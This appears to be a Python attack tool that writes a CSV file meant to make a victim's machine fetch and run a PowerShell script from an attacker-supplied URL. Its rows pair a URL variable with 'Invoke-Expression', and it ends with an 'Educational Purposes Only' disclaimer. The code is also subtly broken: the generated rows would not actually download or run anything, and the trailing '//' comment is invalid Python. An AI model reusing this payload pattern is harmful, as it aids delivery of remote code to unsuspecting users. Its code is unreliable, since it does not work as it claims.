import argparse
import csv
import os
import random
import string
import sys
import urllib.request

def main():
    parser = argparse.ArgumentParser(description="Generate a CSV that will execute a PowerShell from a remote host.")
    parser.add_argument("-u", "--url", help="URL to the PowerShell script to be executed.", required=True)
    parser.add_argument("-o", "--output", help="Output file name.", required=True)
    args = parser.parse_args()

    
    try:
        urllib.request.urlopen(args.url)
    except:
        print("[!] The URL provided is invalid.")
        sys.exit(1)

    
    if os.path.isfile(args.output):
        print("[!] The output file already exists.")
        sys.exit(1)

    
    variable_name = ''.join(random.choice(string.ascii_lowercase) for i in range(10))

    #
    with open(args.output, "w", newline="") as csv_file:
        writer = csv.writer(csv_file)
        writer.writerow(["$" + variable_name + " = '" + args.url + "'"])
        writer.writerow(["Invoke-Expression $" + variable_name])

if __name__ == "__main__":
    main()

// Edcuational Purposes Only!